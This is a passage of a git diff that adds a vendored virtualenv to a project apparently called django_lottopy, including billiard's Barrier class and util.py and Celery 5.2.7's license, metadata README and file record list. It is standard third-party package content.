+# Barrier +# + + +if hasattr(threading, 'Barrier'): + + class Barrier(threading.Barrier): + + def __init__(self, parties, action=None, timeout=None, ctx=None): + assert ctx + import struct + from .heap import BufferWrapper + wrapper = BufferWrapper(struct.calcsize('i') * 2) + cond = ctx.Condition() + self.__setstate__((parties, action, timeout, cond, wrapper)) + self._state = 0 + self._count = 0 + + def __setstate__(self, state): + (self._parties, self._action, self._timeout, + self._cond, self._wrapper) = state + self._array = self._wrapper.create_memoryview().cast('i') + + def __getstate__(self): + return (self._parties, self._action, self._timeout, + self._cond, self._wrapper) + + @property + def _state(self): + return self._array[0] + + @_state.setter + def _state(self, value): # noqa + self._array[0] = value + + @property + def _count(self): + return self._array[1] + + @_count.setter + def _count(self, value): # noqa + self._array[1] = value + + +else: + + class Barrier(object): # noqa + + def __init__(self, *args, **kwargs): + raise NotImplementedError('Barrier only supported on Py3') diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/util.py b/django_lottopy/lib/python3.10/site-packages/billiard/util.py new file mode 100644 index 00000000..1c74ccae --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/util.py @@ -0,0 +1,233 @@ +# +# Module providing various facilities to other parts of the package +# +# billiard/util.py +# +# Copyright (c) 2006-2008, R Oudkerk --- see COPYING.txt +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import sys +import errno +import functools +import atexit + +try: + import cffi +except ImportError: + import ctypes + +try: + from subprocess import _args_from_interpreter_flags # noqa +except ImportError: # pragma: no cover + def _args_from_interpreter_flags(): # noqa + """Return a list of command-line arguments reproducing the current + settings in sys.flags and sys.warnoptions.""" + flag_opt_map = { + 'debug': 'd', + 'optimize': 'O', + 'dont_write_bytecode': 'B', + 'no_user_site': 's', + 'no_site': 'S', + 'ignore_environment': 'E', + 'verbose': 'v', + 'bytes_warning': 'b', + 'hash_randomization': 'R', + 'py3k_warning': '3', + } + args = [] + for flag, opt in flag_opt_map.items(): + v = getattr(sys.flags, flag) + if v > 0: + args.append('-' + opt * v) + for opt in sys.warnoptions: + args.append('-W' + opt) + return args + +from multiprocessing.util import ( # noqa + _afterfork_registry, + _afterfork_counter, + _exit_function, + _finalizer_registry, + _finalizer_counter, + Finalize, + ForkAwareLocal, + ForkAwareThreadLock, + get_temp_dir, + is_exiting, + register_after_fork, + _run_after_forkers, + _run_finalizers, +) + +from .compat import get_errno + +__all__ = [ + 'sub_debug', 'debug', 'info', 'sub_warning', 'get_logger', + 'log_to_stderr', 'get_temp_dir', 'register_after_fork', + 'is_exiting', 'Finalize', 'ForkAwareThreadLock', 'ForkAwareLocal', + 'SUBDEBUG', 'SUBWARNING', +] + + +# Constants from prctl.h +PR_GET_PDEATHSIG = 2 +PR_SET_PDEATHSIG = 1 + +# +# Logging +# + +NOTSET = 0 +SUBDEBUG = 5 +DEBUG = 10 +INFO = 20 +SUBWARNING = 25 +WARNING = 30 +ERROR = 40 + +LOGGER_NAME = 'multiprocessing' +DEFAULT_LOGGING_FORMAT = '[%(levelname)s/%(processName)s] %(message)s' + +_logger = None +_log_to_stderr = False + + +def sub_debug(msg, *args, **kwargs): + if _logger: + _logger.log(SUBDEBUG, msg, *args, **kwargs) + + +def debug(msg, *args, **kwargs): + if _logger: + _logger.log(DEBUG, msg, *args, **kwargs) + + +def info(msg, *args, **kwargs): + if _logger: + _logger.log(INFO, msg, *args, **kwargs) + + +def sub_warning(msg, *args, **kwargs): + if _logger: + _logger.log(SUBWARNING, msg, *args, **kwargs) + +def warning(msg, *args, **kwargs): + if _logger: + _logger.log(WARNING, msg, *args, **kwargs) + +def error(msg, *args, **kwargs): + if _logger: + _logger.log(ERROR, msg, *args, **kwargs) + + +def get_logger(): + ''' + Returns logger used by multiprocessing + ''' + global _logger + import logging + + logging._acquireLock() + try: + if not _logger: + + _logger = logging.getLogger(LOGGER_NAME) + _logger.propagate = 0 + logging.addLevelName(SUBDEBUG, 'SUBDEBUG') + logging.addLevelName(SUBWARNING, 'SUBWARNING') + + # XXX multiprocessing should cleanup before logging + if hasattr(atexit, 'unregister'): + atexit.unregister(_exit_function) + atexit.register(_exit_function) + else: + atexit._exithandlers.remove((_exit_function, (), {})) + atexit._exithandlers.append((_exit_function, (), {})) + finally: + logging._releaseLock() + + return _logger + + +def log_to_stderr(level=None): + ''' + Turn on logging and add a handler which prints to stderr + ''' + global _log_to_stderr + import logging + + logger = get_logger() + formatter = logging.Formatter(DEFAULT_LOGGING_FORMAT) + handler = logging.StreamHandler() + handler.setFormatter(formatter) + logger.addHandler(handler) + + if level: + logger.setLevel(level) + _log_to_stderr = True + return _logger + + +def get_pdeathsig(): + """ + Return the current value of the parent process death signal + """ + if not sys.platform.startswith('linux'): + # currently we support only linux platform. + raise OSError() + try: + if 'cffi' in sys.modules: + ffi = cffi.FFI() + ffi.cdef("int prctl (int __option, ...);") + arg = ffi.new("int *") + C = ffi.dlopen(None) + C.prctl(PR_GET_PDEATHSIG, arg) + return arg[0] + else: + sig = ctypes.c_int() + libc = ctypes.cdll.LoadLibrary("libc.so.6") + libc.prctl(PR_GET_PDEATHSIG, ctypes.byref(sig)) + return sig.value + except Exception: + raise OSError() + + +def set_pdeathsig(sig): + """ + Set the parent process death signal of the calling process to sig + (either a signal value in the range 1..maxsig, or 0 to clear). + This is the signal that the calling process will get when its parent dies. + This value is cleared for the child of a fork(2) and + (since Linux 2.4.36 / 2.6.23) when executing a set-user-ID or set-group-ID binary. + """ + if not sys.platform.startswith('linux'): + # currently we support only linux platform. + raise OSError() + try: + if 'cffi' in sys.modules: + ffi = cffi.FFI() + ffi.cdef("int prctl (int __option, ...);") + C = ffi.dlopen(None) + C.prctl(PR_SET_PDEATHSIG, ffi.cast("int", sig)) + else: + libc = ctypes.cdll.LoadLibrary("libc.so.6") + libc.prctl(PR_SET_PDEATHSIG, sig) + except Exception: + raise OSError() + +def _eintr_retry(func): + ''' + Automatic retry after EINTR. + ''' + + @functools.wraps(func) + def wrapped(*args, **kwargs): + while 1: + try: + return func(*args, **kwargs) + except OSError as exc: + if get_errno(exc) != errno.EINTR: + raise + return wrapped diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/LICENSE new file mode 100644 index 00000000..c0fdb269 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/LICENSE @@ -0,0 +1,54 @@ +Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. +Copyright (c) 2012-2014 GoPivotal, Inc. All rights reserved. +Copyright (c) 2009, 2010, 2011, 2012 Ask Solem, and individual contributors. All rights reserved. + +Celery is licensed under The BSD License (3 Clause, also known as +the new BSD license). The license is an OSI approved Open Source +license and is GPL-compatible(1). + +The license text can also be found here: +http://www.opensource.org/licenses/BSD-3-Clause + +License +======= + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of Ask Solem, nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS +BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +Documentation License +===================== + +The documentation portion of Celery (the rendered contents of the +"docs" directory of a software distribution or checkout) is supplied +under the "Creative Commons Attribution-ShareAlike 4.0 +International" (CC BY-SA 4.0) License as described by +https://creativecommons.org/licenses/by-sa/4.0/ + +Footnotes +========= +(1) A GPL-compatible license makes it possible to + combine Celery with other software that is released + under the GPL, it does not mean that we're distributing + Celery under the GPL license. The BSD license, unlike the GPL, + let you distribute a modified version without making your + changes open source. diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/METADATA new file mode 100644 index 00000000..3ad05de2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/METADATA @@ -0,0 +1,647 @@ +Metadata-Version: 2.1 +Name: celery +Version: 5.2.7 +Summary: Distributed Task Queue. +Home-page: http://celeryproject.org +Author: Ask Solem +Author-email: auvipy@gmail.com +License: BSD +Project-URL: Documentation, https://docs.celeryproject.org/en/latest/index.html +Project-URL: Changelog, https://docs.celeryproject.org/en/stable/changelog.html +Project-URL: Code, https://github.com/celery/celery +Project-URL: Tracker, https://github.com/celery/celery/issues +Project-URL: Funding, https://opencollective.com/celery +Keywords: task job queue distributed messaging actor +Platform: any +Classifier: Development Status :: 5 - Production/Stable +Classifier: License :: OSI Approved :: BSD License +Classifier: Topic :: System :: Distributed Computing +Classifier: Topic :: Software Development :: Object Brokering +Classifier: Framework :: Celery +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 :: Only +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3.9 +Classifier: Programming Language :: Python :: 3.10 +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy +Classifier: Operating System :: OS Independent +Requires-Python: >=3.7 +License-File: LICENSE +Requires-Dist: pytz (>=2021.3) +Requires-Dist: billiard (<4.0,>=3.6.4.0) +Requires-Dist: kombu (<6.0,>=5.2.3) +Requires-Dist: vine (<6.0,>=5.0.0) +Requires-Dist: click (<9.0,>=8.0.3) +Requires-Dist: click-didyoumean (>=0.0.3) +Requires-Dist: click-repl (>=0.2.0) +Requires-Dist: click-plugins (>=1.1.1) +Requires-Dist: importlib-metadata (>=1.4.0) ; python_version < "3.8" +Provides-Extra: arangodb +Requires-Dist: pyArango (>=1.3.2) ; extra == 'arangodb' +Provides-Extra: auth +Requires-Dist: cryptography ; extra == 'auth' +Provides-Extra: azureblockblob +Requires-Dist: azure-storage-blob (==12.9.0) ; extra == 'azureblockblob' +Provides-Extra: brotli +Requires-Dist: brotli (>=1.0.0) ; (platform_python_implementation == "CPython") and extra == 'brotli' +Requires-Dist: brotlipy (>=0.7.0) ; (platform_python_implementation == "PyPy") and extra == 'brotli' +Provides-Extra: cassandra +Requires-Dist: cassandra-driver (<3.21.0) ; extra == 'cassandra' +Provides-Extra: consul +Requires-Dist: python-consul2 ; extra == 'consul' +Provides-Extra: cosmosdbsql +Requires-Dist: pydocumentdb (==2.3.2) ; extra == 'cosmosdbsql' +Provides-Extra: couchbase +Requires-Dist: couchbase (>=3.0.0) ; (platform_python_implementation != "PyPy" and (platform_system != "Windows" or python_version < "3.10")) and extra == 'couchbase' +Provides-Extra: couchdb +Requires-Dist: pycouchdb ; extra == 'couchdb' +Provides-Extra: django +Requires-Dist: Django (>=1.11) ; extra == 'django' +Provides-Extra: dynamodb +Requires-Dist: boto3 (>=1.9.178) ; extra == 'dynamodb' +Provides-Extra: elasticsearch +Requires-Dist: elasticsearch ; extra == 'elasticsearch' +Provides-Extra: eventlet +Requires-Dist: eventlet (>=0.32.0) ; (python_version < "3.10") and extra == 'eventlet' +Provides-Extra: gevent +Requires-Dist: gevent (>=1.5.0) ; extra == 'gevent' +Provides-Extra: librabbitmq +Requires-Dist: librabbitmq (>=1.5.0) ; extra == 'librabbitmq' +Provides-Extra: memcache +Requires-Dist: pylibmc ; (platform_system != "Windows") and extra == 'memcache' +Provides-Extra: mongodb +Requires-Dist: pymongo[srv] (>=3.11.1) ; extra == 'mongodb' +Provides-Extra: msgpack +Requires-Dist: msgpack ; extra == 'msgpack' +Provides-Extra: pymemcache +Requires-Dist: python-memcached ; extra == 'pymemcache' +Provides-Extra: pyro +Requires-Dist: pyro4 ; extra == 'pyro' +Provides-Extra: pytest +Requires-Dist: pytest-celery ; extra == 'pytest' +Provides-Extra: redis +Requires-Dist: redis (!=4.0.0,!=4.0.1,>=3.4.1) ; extra == 'redis' +Provides-Extra: s3 +Requires-Dist: boto3 (>=1.9.125) ; extra == 's3' +Provides-Extra: slmq +Requires-Dist: softlayer-messaging (>=1.0.3) ; extra == 'slmq' +Provides-Extra: solar +Requires-Dist: ephem ; (platform_python_implementation != "PyPy") and extra == 'solar' +Provides-Extra: sqlalchemy +Requires-Dist: sqlalchemy ; extra == 'sqlalchemy' +Provides-Extra: sqs +Requires-Dist: kombu[sqs] ; extra == 'sqs' +Provides-Extra: tblib +Requires-Dist: tblib (>=1.3.0) ; (python_version < "3.8.0") and extra == 'tblib' +Requires-Dist: tblib (>=1.5.0) ; (python_version >= "3.8.0") and extra == 'tblib' +Provides-Extra: yaml +Requires-Dist: PyYAML (>=3.10) ; extra == 'yaml' +Provides-Extra: zookeeper +Requires-Dist: kazoo (>=1.3.1) ; extra == 'zookeeper' +Provides-Extra: zstd +Requires-Dist: zstandard ; extra == 'zstd' + +.. image:: http://docs.celeryproject.org/en/latest/_images/celery-banner-small.png + +|build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| + +:Version: 5.2.7 (dawn-chorus) +:Web: https://docs.celeryproject.org/en/stable/index.html +:Download: https://pypi.org/project/celery/ +:Source: https://github.com/celery/celery/ +:Keywords: task, queue, job, async, rabbitmq, amqp, redis, + python, distributed, actors + +Donations +========= + +This project relies on your generous donations. + +If you are using Celery to create a commercial product, please consider becoming our `backer`_ or our `sponsor`_ to ensure Celery's future. + +.. _`backer`: https://opencollective.com/celery#backer +.. _`sponsor`: https://opencollective.com/celery#sponsor + +For enterprise +============== + +Available as part of the Tidelift Subscription. + +The maintainers of ``celery`` and thousands of other packages are working with Tidelift to deliver commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. `Learn more. `_ + +What's a Task Queue? +==================== + +Task queues are used as a mechanism to distribute work across threads or +machines. + +A task queue's input is a unit of work, called a task, dedicated worker +processes then constantly monitor the queue for new work to perform. + +Celery communicates via messages, usually using a broker +to mediate between clients and workers. To initiate a task a client puts a +message on the queue, the broker then delivers the message to a worker. + +A Celery system can consist of multiple workers and brokers, giving way +to high availability and horizontal scaling. + +Celery is written in Python, but the protocol can be implemented in any +language. In addition to Python there's node-celery_ for Node.js, +a `PHP client`_, `gocelery`_ for golang, and rusty-celery_ for Rust. + +Language interoperability can also be achieved by using webhooks +in such a way that the client enqueues an URL to be requested by a worker. + +.. _node-celery: https://github.com/mher/node-celery +.. _`PHP client`: https://github.com/gjedeer/celery-php +.. _`gocelery`: https://github.com/gocelery/gocelery +.. _rusty-celery: https://github.com/rusty-celery/rusty-celery + +What do I need? +=============== + +Celery version 5.2.0 runs on, + +- Python (3.7, 3.8, 3.9, 3.10) +- PyPy3.7 (7.3.7+) + + +This is the version of celery which will support Python 3.7 or newer. + +If you're running an older version of Python, you need to be running +an older version of Celery: + +- Python 2.6: Celery series 3.1 or earlier. +- Python 2.5: Celery series 3.0 or earlier. +- Python 2.4: Celery series 2.2 or earlier. +- Python 2.7: Celery 4.x series. +- Python 3.6: Celery 5.1 or earlier. + +Celery is a project with minimal funding, +so we don't support Microsoft Windows. +Please don't open any issues related to that platform. + +*Celery* is usually used with a message broker to send and receive messages. +The RabbitMQ, Redis transports are feature complete, +but there's also experimental support for a myriad of other solutions, including +using SQLite for local development. + +*Celery* can run on a single machine, on multiple machines, or even +across datacenters. + +Get Started +=========== + +If this is the first time you're trying to use Celery, or you're +new to Celery v5.2.0 coming from previous versions then you should read our +getting started tutorials: + +- `First steps with Celery`_ + + Tutorial teaching you the bare minimum needed to get started with Celery. + +- `Next steps`_ + + A more complete overview, showing more features. + +.. _`First steps with Celery`: + http://docs.celeryproject.org/en/latest/getting-started/first-steps-with-celery.html + +.. _`Next steps`: + http://docs.celeryproject.org/en/latest/getting-started/next-steps.html + + You can also get started with Celery by using a hosted broker transport CloudAMQP. The largest hosting provider of RabbitMQ is a proud sponsor of Celery. + +Celery is... +============= + +- **Simple** + + Celery is easy to use and maintain, and does *not need configuration files*. + + It has an active, friendly community you can talk to for support, + like at our `mailing-list`_, or the IRC channel. + + Here's one of the simplest applications you can make: + + .. code-block:: python + + from celery import Celery + + app = Celery('hello', broker='amqp://guest@localhost//') + + @app.task + def hello(): + return 'hello world' + +- **Highly Available** + + Workers and clients will automatically retry in the event + of connection loss or failure, and some brokers support + HA in way of *Primary/Primary* or *Primary/Replica* replication. + +- **Fast** + + A single Celery process can process millions of tasks a minute, + with sub-millisecond round-trip latency (using RabbitMQ, + py-librabbitmq, and optimized settings). + +- **Flexible** + + Almost every part of *Celery* can be extended or used on its own, + Custom pool implementations, serializers, compression schemes, logging, + schedulers, consumers, producers, broker transports, and much more. + +It supports... +================ + + - **Message Transports** + + - RabbitMQ_, Redis_, Amazon SQS + + - **Concurrency** + + - Prefork, Eventlet_, gevent_, single threaded (``solo``) + + - **Result Stores** + + - AMQP, Redis + - memcached + - SQLAlchemy, Django ORM + - Apache Cassandra, IronCache, Elasticsearch + + - **Serialization** + + - *pickle*, *json*, *yaml*, *msgpack*. + - *zlib*, *bzip2* compression. + - Cryptographic message signing. + +.. _`Eventlet`: http://eventlet.net/ +.. _`gevent`: http://gevent.org/ + +.. _RabbitMQ: https://rabbitmq.com +.. _Redis: https://redis.io +.. _SQLAlchemy: http://sqlalchemy.org + +Framework Integration +===================== + +Celery is easy to integrate with web frameworks, some of which even have +integration packages: + + +--------------------+------------------------+ + | `Django`_ | not needed | + +--------------------+------------------------+ + | `Pyramid`_ | `pyramid_celery`_ | + +--------------------+------------------------+ + | `Pylons`_ | `celery-pylons`_ | + +--------------------+------------------------+ + | `Flask`_ | not needed | + +--------------------+------------------------+ + | `web2py`_ | `web2py-celery`_ | + +--------------------+------------------------+ + | `Tornado`_ | `tornado-celery`_ | + +--------------------+------------------------+ + +The integration packages aren't strictly necessary, but they can make +development easier, and sometimes they add important hooks like closing +database connections at ``fork``. + +.. _`Django`: https://djangoproject.com/ +.. _`Pylons`: http://pylonsproject.org/ +.. _`Flask`: http://flask.pocoo.org/ +.. _`web2py`: http://web2py.com/ +.. _`Bottle`: https://bottlepy.org/ +.. _`Pyramid`: http://docs.pylonsproject.org/en/latest/docs/pyramid.html +.. _`pyramid_celery`: https://pypi.org/project/pyramid_celery/ +.. _`celery-pylons`: https://pypi.org/project/celery-pylons/ +.. _`web2py-celery`: https://code.google.com/p/web2py-celery/ +.. _`Tornado`: http://www.tornadoweb.org/ +.. _`tornado-celery`: https://github.com/mher/tornado-celery/ + +.. _celery-documentation: + +Documentation +============= + +The `latest documentation`_ is hosted at Read The Docs, containing user guides, +tutorials, and an API reference. + +最新的中文文档托管在 https://www.celerycn.io/ 中,包含用户指南、教程、API接口等。 + +.. _`latest documentation`: http://docs.celeryproject.org/en/latest/ + +.. _celery-installation: + +Installation +============ + +You can install Celery either via the Python Package Index (PyPI) +or from source. + +To install using ``pip``: + +:: + + + $ pip install -U Celery + +.. _bundles: + +Bundles +------- + +Celery also defines a group of bundles that can be used +to install Celery and the dependencies for a given feature. + +You can specify these in your requirements or on the ``pip`` +command-line by using brackets. Multiple bundles can be specified by +separating them by commas. + +:: + + + $ pip install "celery[amqp]" + + $ pip install "celery[amqp,redis,auth,msgpack]" + +The following bundles are available: + +Serializers +~~~~~~~~~~~ + +:``celery[auth]``: + for using the ``auth`` security serializer. + +:``celery[msgpack]``: + for using the msgpack serializer. + +:``celery[yaml]``: + for using the yaml serializer. + +Concurrency +~~~~~~~~~~~ + +:``celery[eventlet]``: + for using the ``eventlet`` pool. + +:``celery[gevent]``: + for using the ``gevent`` pool. + +Transports and Backends +~~~~~~~~~~~~~~~~~~~~~~~ + +:``celery[amqp]``: + for using the RabbitMQ amqp python library. + +:``celery[redis]``: + for using Redis as a message transport or as a result backend. + +:``celery[sqs]``: + for using Amazon SQS as a message transport. + +:``celery[tblib``]: + for using the ``task_remote_tracebacks`` feature. + +:``celery[memcache]``: + for using Memcached as a result backend (using ``pylibmc``) + +:``celery[pymemcache]``: + for using Memcached as a result backend (pure-Python implementation). + +:``celery[cassandra]``: + for using Apache Cassandra as a result backend with DataStax driver. + +:``celery[azureblockblob]``: + for using Azure Storage as a result backend (using ``azure-storage``) + +:``celery[s3]``: + for using S3 Storage as a result backend. + +:``celery[couchbase]``: + for using Couchbase as a result backend. + +:``celery[arangodb]``: + for using ArangoDB as a result backend. + +:``celery[elasticsearch]``: + for using Elasticsearch as a result backend. + +:``celery[riak]``: + for using Riak as a result backend. + +:``celery[cosmosdbsql]``: + for using Azure Cosmos DB as a result backend (using ``pydocumentdb``) + +:``celery[zookeeper]``: + for using Zookeeper as a message transport. + +:``celery[sqlalchemy]``: + for using SQLAlchemy as a result backend (*supported*). + +:``celery[pyro]``: + for using the Pyro4 message transport (*experimental*). + +:``celery[slmq]``: + for using the SoftLayer Message Queue transport (*experimental*). + +:``celery[consul]``: + for using the Consul.io Key/Value store as a message transport or result backend (*experimental*). + +:``celery[django]``: + specifies the lowest version possible for Django support. + + You should probably not use this in your requirements, it's here + for informational purposes only. + + +.. _celery-installing-from-source: + +Downloading and installing from source +-------------------------------------- + +Download the latest version of Celery from PyPI: + +https://pypi.org/project/celery/ + +You can install it by doing the following,: + +:: + + + $ tar xvfz celery-0.0.0.tar.gz + $ cd celery-0.0.0 + $ python setup.py build + # python setup.py install + +The last command must be executed as a privileged user if +you aren't currently using a virtualenv. + +.. _celery-installing-from-git: + +Using the development version +----------------------------- + +With pip +~~~~~~~~ + +The Celery development version also requires the development +versions of ``kombu``, ``amqp``, ``billiard``, and ``vine``. + +You can install the latest snapshot of these using the following +pip commands: + +:: + + + $ pip install https://github.com/celery/celery/zipball/master#egg=celery + $ pip install https://github.com/celery/billiard/zipball/master#egg=billiard + $ pip install https://github.com/celery/py-amqp/zipball/master#egg=amqp + $ pip install https://github.com/celery/kombu/zipball/master#egg=kombu + $ pip install https://github.com/celery/vine/zipball/master#egg=vine + +With git +~~~~~~~~ + +Please see the Contributing section. + +.. _getting-help: + +Getting Help +============ + +.. _mailing-list: + +Mailing list +------------ + +For discussions about the usage, development, and future of Celery, +please join the `celery-users`_ mailing list. + +.. _`celery-users`: https://groups.google.com/group/celery-users/ + +.. _irc-channel: + +IRC +--- + +Come chat with us on IRC. The **#celery** channel is located at the +`Libera Chat`_ network. + +.. _`Libera Chat`: https://libera.chat/ + +.. _bug-tracker: + +Bug tracker +=========== + +If you have any suggestions, bug reports, or annoyances please report them +to our issue tracker at https://github.com/celery/celery/issues/ + +.. _wiki: + +Wiki +==== + +https://github.com/celery/celery/wiki + +Credits +======= + +.. _contributing-short: + +Contributors +------------ + +This project exists thanks to all the people who contribute. Development of +`celery` happens at GitHub: https://github.com/celery/celery + +You're highly encouraged to participate in the development +of `celery`. If you don't like GitHub (for some reason) you're welcome +to send regular patches. + +Be sure to also read the `Contributing to Celery`_ section in the +documentation. + +.. _`Contributing to Celery`: + http://docs.celeryproject.org/en/master/contributing.html + +|oc-contributors| + +.. |oc-contributors| image:: https://opencollective.com/celery/contributors.svg?width=890&button=false + :target: https://github.com/celery/celery/graphs/contributors + +Backers +------- + +Thank you to all our backers! 🙏 [`Become a backer`_] + +.. _`Become a backer`: https://opencollective.com/celery#backer + +|oc-backers| + +.. |oc-backers| image:: https://opencollective.com/celery/backers.svg?width=890 + :target: https://opencollective.com/celery#backers + +Sponsors +-------- + +Support this project by becoming a sponsor. Your logo will show up here with a +link to your website. [`Become a sponsor`_] + +.. _`Become a sponsor`: https://opencollective.com/celery#sponsor + +|oc-sponsors| + +.. |oc-sponsors| image:: https://opencollective.com/celery/sponsor/0/avatar.svg + :target: https://opencollective.com/celery/sponsor/0/website + +.. _license: + +License +======= + +This software is licensed under the `New BSD License`. See the ``LICENSE`` +file in the top distribution directory for the full license text. + +.. # vim: syntax=rst expandtab tabstop=4 shiftwidth=4 shiftround + +.. |build-status| image:: https://github.com/celery/celery/actions/workflows/python-package.yml/badge.svg + :alt: Build status + :target: https://github.com/celery/celery/actions/workflows/python-package.yml + +.. |coverage| image:: https://codecov.io/github/celery/celery/coverage.svg?branch=master + :target: https://codecov.io/github/celery/celery?branch=master + +.. |license| image:: https://img.shields.io/pypi/l/celery.svg + :alt: BSD License + :target: https://opensource.org/licenses/BSD-3-Clause + +.. |wheel| image:: https://img.shields.io/pypi/wheel/celery.svg + :alt: Celery can be installed via wheel + :target: https://pypi.org/project/celery/ + +.. |pyversion| image:: https://img.shields.io/pypi/pyversions/celery.svg + :alt: Supported Python versions. + :target: https://pypi.org/project/celery/ + +.. |pyimp| image:: https://img.shields.io/pypi/implementation/celery.svg + :alt: Supported Python implementations. + :target: https://pypi.org/project/celery/ + +.. |ocbackerbadge| image:: https://opencollective.com/celery/backers/badge.svg + :alt: Backers on Open Collective + :target: #backers + +.. |ocsponsorbadge| image:: https://opencollective.com/celery/sponsors/badge.svg + :alt: Sponsors on Open Collective + :target: #sponsors + +.. |downloads| image:: https://pepy.tech/badge/celery + :alt: Downloads + :target: https://pepy.tech/project/celery + + diff --git a/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/RECORD new file mode 100644 index 00000000..692c5727 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/celery-5.2.7.dist-info/RECORD @@ -0,0 +1,320 @@ +../../../bin/celery,sha256=vi5_5hLUOvwxt4qOW_WBDzeVdIACtocuCBAlccrBgCg,268 +celery-5.2.7.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +celery-5.2.7.dist-info/LICENSE,sha256=OPfyaTUqhatgAqmGqGPC73aDk2xXbtiejt3gvKB6yMc,2631 +celery-5.2.7.dist-info/METADATA,sha256=xb-r2ZILAJnQZnqkYJYd8hC400B_0q_zaaipqT37FaM,20295 +celery-5.2.7.dist-info/RECORD,, +celery-5.2.7.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 +celery-5.2.7.dist-info/WHEEL,sha256=G16H4A3IeoQmnOrYV4ueZGKSjhipXx8zc8nu9FGlvMA,92 +celery-5.2.7.dist-info/entry_points.txt,sha256=y-9XhDI_sXAtYn8ayrWDhRcZmiY4tsmIoa5braB_WVA,49 +celery-5.2.7.dist-info/top_level.txt,sha256=sQQ-a5HNsZIi2A8DiKQnB1HODFMfmrzIAZIE8t_XiOA,7 +celery/__init__.py,sha256=kQXw46gg5rImVmRtZTRG1NsAx8xe_ambj6EsiQmZvWQ,5978 +celery/__main__.py,sha256=-2sIMgK0_-22t6i19645vA-CfBFvHnzIuZ8les4AmdE,401 +celery/__pycache__/__init__.cpython-310.pyc,, +celery/__pycache__/__main__.cpython-310.pyc,, +celery/__pycache__/_state.cpython-310.pyc,, +celery/__pycache__/beat.cpython-310.pyc,, +celery/__pycache__/bootsteps.cpython-310.pyc,, +celery/__pycache__/canvas.cpython-310.pyc,, +celery/__pycache__/exceptions.cpython-310.pyc,, +celery/__pycache__/local.cpython-310.pyc,, +celery/__pycache__/platforms.cpython-310.pyc,, +celery/__pycache__/result.cpython-310.pyc,, +celery/__pycache__/schedules.cpython-310.pyc,, +celery/__pycache__/signals.cpython-310.pyc,, +celery/__pycache__/states.cpython-310.pyc,, +celery/_state.py,sha256=k7T9CzeYR5PZSr0MjSVvFs6zpfkZal9Brl8xu-vPpXk,5029 +celery/app/__init__.py,sha256=iadhB_pmHYrlqaOMge-aO2CLQKxlG18yHaNYtiHL-3Y,2459 +celery/app/__pycache__/__init__.cpython-310.pyc,, +celery/app/__pycache__/amqp.cpython-310.pyc,, +celery/app/__pycache__/annotations.cpython-310.pyc,, +celery/app/__pycache__/autoretry.cpython-310.pyc,, +celery/app/__pycache__/backends.cpython-310.pyc,, +celery/app/__pycache__/base.cpython-310.pyc,, +celery/app/__pycache__/builtins.cpython-310.pyc,, +celery/app/__pycache__/control.cpython-310.pyc,, +celery/app/__pycache__/defaults.cpython-310.pyc,, +celery/app/__pycache__/events.cpython-310.pyc,, +celery/app/__pycache__/log.cpython-310.pyc,, +celery/app/__pycache__/registry.cpython-310.pyc,, +celery/app/__pycache__/routes.cpython-310.pyc,, +celery/app/__pycache__/task.cpython-310.pyc,, +celery/app/__pycache__/trace.cpython-310.pyc,, +celery/app/__pycache__/utils.cpython-310.pyc,, 